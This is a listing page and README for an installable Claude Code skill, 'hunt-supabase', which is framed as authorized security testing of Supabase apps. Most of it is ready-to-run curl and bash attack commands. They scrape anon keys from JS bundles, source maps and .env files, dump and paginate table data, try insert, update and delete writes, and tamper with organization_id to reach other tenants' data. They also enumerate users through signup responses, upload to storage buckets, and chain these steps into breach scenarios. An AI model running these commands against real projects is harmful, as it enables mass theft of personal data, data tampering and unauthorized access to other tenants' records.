About hunt-supabase
A Supabase security testing skill for authorized testers, covering project discovery, RLS and tenant access checks, plus Auth, RPC, and Storage verification. It includes attack chains, severity guidance, and caveats to help distinguish public configuration from exploitable access.
Key features
- 01Find Supabase URLs and anon keys
- 02Check table data and RLS read/write access
- 03Test organization-ID bypasses and RPC data scope
- 04Review Auth signup and user enumeration
- 05Probe Storage buckets and file access
- 06Assess severity and avoid false positives
Use cases
- 01Review a Supabase project under authorized testing
- 02Check data access boundaries for anonymous and signed-in users
- 03Test organization isolation in multi-tenant applications
- 04Assess Storage exposure and open-signup risks
Install
Copy the command and run it in a terminal.
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-supabaseAfter installing, type/hunt-supabasein Claude Code to confirm it loaded.
Details
From the project READMEHUNT-SUPABASE — Supabase Exploitation
Crown Jewel Targets
Supabase is the open-source Firebase alternative. It uses Row Level Security (RLS) for access control, but RLS policies are frequently misconfigured — especially in rapid-development stacks (Lovable.dev, Bolt.new, Cursor).
Highest-value findings:
- Public tables via anon key — REST API with anon key returns table data when RLS is disabled or policies are permissive. Critical.
- RLS bypass via organization_id — UPDATE operation checks user ownership but NOT organization_id -> cross-tenant data access. Critical.
- RPC functions returning global data — SECURITY DEFINER RPC functions that don't filter by auth.uid() -> all users' data. High.
- Storage buckets without RLS — Public file listing, upload, and download. High.
- Open signUp — Anyone can register and get a JWT. High.
- Multi-tenant enumeration — Same broken-RLS patterns across multiple apps built by the same developer. Medium.
Phase 1 — Find the Supabase Project
Supabase is identified by its URL format: https://[PROJECT_REF].supabase.co and anon key format: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... (JWT starting with eyJ)
1.1 Search in JS Bundles
# Download JS bundles and search for Supabase
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'src="[^"]*\.js"' | cut -d'"' -f2 | while read js; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$js" -o "/tmp/$(basename $js)"
done
# Search for Supabase URL pattern
grep -rEn 'https://[a-z0-9-]+\.supabase\.co' /tmp/*.js
grep -rEn 'supabaseUrl|SUPABASE_URL|supabaseKey|SUPABASE_ANON_KEY' /tmp/*.js
# Search for Supabase JWT anon key
grep -rEn 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.[^[:space:]]+' /tmp/*.js
# Quick one-liner
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo '(?:supabaseUrl|SUPABASE_URL)[": ]+[^"'\''\s]+'
1.2 Search in .env and Config Files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/.env.production" | grep -i "SUPABASE"
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/config.js" | grep -i "supabase"
# JSON config files
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/manifest.json" | python3 -c "import sys, json; d = json.load(sys.stdin); print(d)" 2>/dev/null
1.3 Extract from Source Maps
# Check source maps for Supabase config
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'sourceMappingURL=[^\s"]+' | cut -d= -f2 | while read sm; do
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET$(echo $sm | sed 's|^/||')" -o "/tmp/$(basename $sm)"
done
cat /tmp/*.map 2>/dev/null | python3 -c "
import sys, json, re
try:
data = json.load(sys.stdin)
sources = data.get('sourcesContent', [])
for src in sources:
if not src: continue
urls = re.findall(r'https://[a-z0-9-]+\.supabase\.co', src)
keys = re.findall(r'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\.\S{50,}', src)
for u in urls: print(f'URL: {u}')
for k in keys: print(f'ANON_KEY: {k}')
except: pass
" 2>/dev/null
Phase 2 — Supabase Reconnaissance
Once you have the Supabase URL and anon key:
SUPABASE_URL="https://xxxxxxx.supabase.co"
ANON_KEY="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# Step 1: Verify the project exists
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 2: OpenAPI/Swagger spec (sometimes exposed)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?apikey=$ANON_KEY"
# Step 3: Try to list all tables (requires RLS listing to be enabled)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/?" -H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 4: Common table names to try
for table in users profiles user_profiles customers orders products messages posts comments settings config api_keys tokens sessions accounts transactions documents files uploads; do
response=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" "$SUPABASE_URL/rest/v1/$table?limit=1" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY")
if [ "$response" = "200" ]; then
echo "[+] PUBLIC TABLE: $table"
# Sample the data
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$table?limit=2" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | python3 -m json.tool | head -20
fi
done
Phase 3 — Data Enumeration with Anon Key
3.1 Read Table Data
# Read all data from a table (Supabase REST API uses pagination)
TABLE="users"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Paginate through all rows (1000 per page default)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=*&limit=1000&offset=0" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Select specific columns
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?select=id,email,username,role" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Filter rows
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/$TABLE?role=eq.admin&select=id,email" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Count total rows
curl --max-time 30 --connect-timeout 10 -sk -I "$SUPABASE_URL/rest/v1/$TABLE?select=*" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY" | grep -i "content-range"
3.2 Try Write Access
# Try inserting (CRITICAL if works)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/rest/v1/$TABLE" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" \
-H "Prefer: return=minimal" \
-d '{"test_column": "pwned"}'
# Try update
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: application/json" \
-d '{"admin": true}'
# Try delete
curl --max-time 30 --connect-timeout 10 -sk -X DELETE "$SUPABASE_URL/rest/v1/$TABLE?id=eq.1" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY"
Phase 4 — RLS Bypass via Organization ID Manipulation
This is the most common Supabase vulnerability in multi-tenant apps.
4.1 Cross-Organization IDOR via UPDATE
# If RLS allows UPDATE on your own profile but doesn't check organization_id:
# Step 1: Get your user profile
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
# Step 2: Try to change your organization_id to the target org
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "$SUPABASE_URL/rest/v1/profiles?id=eq.{MY_ID}" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $USER_JWT" \
-H "Content-Type: application/json" \
-d '{"organization_id":"TARGET_ORG_UUID"}'
# Step 3: If 200 -> Now you see the target org's data!
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/projects?organization_id=eq.TARGET_ORG_UUID" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
4.2 RPC Function without Organization Filter
# RPC functions often return GLOBAL data without checking org membership
# Step 1: List available RPC functions
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT"
# Step 2: Try common RPC names
for rpc in get_stats get_dashboard get_analytics get_metrics get_summary get_report; do
response=$(curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/rpc/$rpc" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $USER_JWT" \
-H "Content-Type: application/json" -d '{}')
if echo "$response" | python3 -c "import sys, json; json.load(sys.stdin); print('OK')" 2>/dev/null; then
echo "[+] RPC accessible: $rpc"
echo "$response" | python3 -m json.tool | head -20
fi
done
4.3 Multi-Tenant Enumeration via WHOIS
# If the same developer/agency built multiple apps, they share the same RLS flaws.
# Step 1: Get the target domain's WHOIS to find the owner/dev
whois $TARGET | grep -iE "email|org|name|admin"
# Step 2: Search crt.sh for other domains owned by the same org
curl --max-time 30 --connect-timeout 10 -sk "https://crt.sh/?q=%25.$TARGET&output=json" | python3 -c "
import sys, json
try:
data = json.load(sys.stdin)
domains = set(d['name_value'] for d in data)
print('\n'.join(sorted(domains)))
except: pass
"
# Step 3: Test each for Supabase with the same broken RLS patterns
Phase 5 — Supabase Auth Exploitation
5.1 Open SignUp
# Check if email/password signup is enabled
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "TestPassword123!"
}'
# HTTP 200 with access_token + user = OPEN SIGNUP!
5.2 Extract JWT from SignUp
# If signup succeeds, extract the JWT and use it for authenticated requests
SIGNUP=$(curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"TestPassword123!"}')
ACCESS_TOKEN=*** "$SIGNUP" | python3 -c "import sys, json; print(json.load(sys.stdin).get('access_token', 'NONE'))")
# Use this JWT for authenticated API calls
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/rest/v1/users?select=*" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ACCESS_TOKEN"
5.3 Brute User Enumeration
# Supabase returns different errors for existing vs non-existing users
for email in admin@$TARGET user@$TARGET info@$TARGET support@$TARGET; do
response=$(curl --max-time 30 --connect-timeout 10 -sk -w "%{http_code}" -o /dev/null "$SUPABASE_URL/auth/v1/signup" \
-H "apikey: $ANON_KEY" \
-H "Content-Type: application/json" \
-d "{\"email\":\"$email\",\"password\":\"Test123!\"}")
# HTTP 200 = new user created
# HTTP 422 = email already exists -> VALID USER
# HTTP 400 = validation error
echo "$email: $response"
done
Phase 6 — Supabase Storage Exploitation
# Step 1: List storage buckets (if RLS allows)
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/bucket" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 2: If buckets found, list files
BUCKET="files"
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/list/$BUCKET" \
-H "apikey: $ANON_KEY" -H "Authorization: Bearer $ANON_KEY"
# Step 3: Download a file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/filename.pdf" \
-o /tmp/downloaded_file
# Step 4: Upload a file (test write)
curl --max-time 30 --connect-timeout 10 -sk -X POST "$SUPABASE_URL/storage/v1/object/$BUCKET/test.txt" \
-H "apikey: $ANON_KEY" \
-H "Authorization: Bearer $ANON_KEY" \
-H "Content-Type: text/plain" \
-d "pwned"
# HTTP 200 with Key -> upload allowed!
# Step 5: Get public URL for uploaded file
curl --max-time 30 --connect-timeout 10 -sk "$SUPABASE_URL/storage/v1/object/public/$BUCKET/test.txt" \
-H "apikey: $ANON_KEY"
Phase 7 — Attack Chains
Chain A: Anon Key in JS -> Public Table Dump
JS bundle contains supabaseUrl + anon key ->
Try common table names (profiles, users, orders) ->
RLS disabled -> Dump ALL data ->
PII breach (emails, names, addresses)
Chain B: Open SignUp -> Authenticated Access -> Write
Supabase signup endpoint accepts new users ->
Create account -> Get JWT ->
Use JWT for authenticated REST API calls ->
Access tables that require auth but have no ownership checks
Chain C: RLS Bypass via Org ID -> Cross-Tenant
UPDATE profiles where id=my_id set organization_id to target_org ->
RLS checks auth.uid() matches id but NOT organization_id ->
Switch org context -> See target org's data ->
Indirect cross-tenant attack
Chain D: RPC Function -> Global Data Access
RPC function defined as SECURITY DEFINER with no filter ->
Any authenticated user calls get_stats() ->
Returns aggregated data from ALL tenants ->
Data leakage
Validation Severity
| Finding | Severity |
|---|---|
| Anon key grants SELECT on PII tables | Critical |
| Anon key grants INSERT/UPDATE/DELETE | Critical |
| Open signup (anyone creates accounts) | High |
| RPC returns cross-org data | High |
| Storage bucket public list/download | High |
| Storage bucket public upload | Critical |
| Email enumeration via signup | Low-Medium |
| RLS bypass via org_id tampering | Critical |
| RLS policy missing on table | High |
| Supabase project ID only (no key) | Informational |
Verification
Run this self-test to confirm supabase hunting readiness:
-
Skill integrity — confirm the skill file is readable and well-formed:
grep -q "name: hunt-supabase" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
Category check — confirm the skill has a category:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
Pitfalls section — confirm pitfalls are documented:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
All 3 tests verify the skill is properly structured and ready for use.
Pitfalls
- Supabase anon key exposure — the anon key is intentionally public. It grants RLS-restricted access. The finding is when RLS policies are missing.
- Public bucket with RLS bypass — if RLS policies allow public read on storage, that's intentional. Need access to data that should be private.
- Supabase URL + anon key as credential — these are configuration values, not secrets. Rate impact based on what the anon key can access via missing RLS.
- Supabase realtime subscription without sensitive data — subscribing to public channels is expected. Need subscription to private channels.
Related Skills
hunt-firebase— Firebase/Firestore/GCP sibling exploitation (similar anon-key pattern)hunt-source-leak— API key discovery in JS bundles, .env, source mapshunt-idor— RLS-bypass via organization_id is an IDOR varianthunt-api-misconfig— REST API endpoint enumeration methodologyhunt-cors— CORS on Supabase REST API endpointshunt-schema-enumeration— Error hint enumeration technique (primary method for discovering Supabase table names)hunt-write-gap— Test PATCH/POST/DELETE after finding tables via schema enumeration
Error Hint Enumeration — Schema Discovery
PostgREST returns table name hints when you query a non-existent table. This is the fastest way to map the entire Supabase schema:
SUPABASE_URL="https://PROJECT.supabase.co"
ANON_KEY="eyJ..."
# Fuzz common table names — PostgREST hints reveal real tables
for table in users profiles posts products orders data config settings \
sessions subscribers movements payments transactions wallets accounts; do
result=$(curl --max-time 30 --connect-timeout 10 -sk "${SUPABASE_URL}/rest/v1/${table}?select=*&limit=1" \
-H "apikey: ${ANON_KEY}" -H "Authorization: Bearer ${ANON_KEY}" 2>/dev/null)
hint=$(echo "$result" | python3 -c "import sys,json;d=json.load(sys.stdin);print(d.get('hint',''))" 2>/dev/null)
if [ -n "$hint" ]; then echo " ${table} -> ${hint}"; fi
done
# Response pattern: {"hint":"Perhaps you meant the table 'public.real_name'"}
# Build wordlist from hints, iterate until no new tables discovered
After mapping the schema, proceed to hunt-write-gap to test write operations on discovered tables.
Common Supabase Finding Formats
# Quick test: does the target use Supabase?
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'https://[a-z0-9-]+\.supabase\.co'
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET" | grep -Eo 'anon[": ]+["]*eyJ'
# Check Google dorks for Supabase
# site:target.com "supabase.co"
# site:target.com "supabaseUrl"
# site:target.com "SUPABASE_ANON_KEY"